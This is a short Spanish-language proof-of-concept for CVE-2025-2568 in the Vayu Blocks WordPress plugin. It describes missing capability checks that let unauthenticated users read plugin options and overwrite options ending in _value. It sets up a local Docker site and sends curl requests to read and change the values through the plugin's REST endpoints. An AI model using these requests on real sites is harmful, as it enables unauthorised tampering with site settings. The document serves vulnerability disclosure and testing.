
Prueba de concepto del exploit para CVE-2025-2568, que demuestra el acceso y la modificación no autorizados de las opciones del plugin Vayu Blocks de WordPress mediante la falta de comprobaciones de capacidad.
El plugin Vayu Blocks – Gutenberg Blocks para WordPress y WooCommerce es vulnerable a acceso no autorizado y modificación de datos debido a la falta de comprobaciones de capacidad en las funciones vayu_blocks_get_toggle_switch_values_callback y vayu_blocks_save_toggle_switch_callback en las versiones 1.0.4 a 1.2.1. Esto permite que atacantes no autenticados lean las opciones del plugin y actualicen cualquier opción cuyo nombre de clave termine en _value.
cd vuln-wordpress
docker-compose up -d
cd wp-content/plugins/
unzip vayu-blocks.1.2.0.zip
curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
-H "Content-Type: application/json" \
-d '{"key":"container", "value":"new_value"}'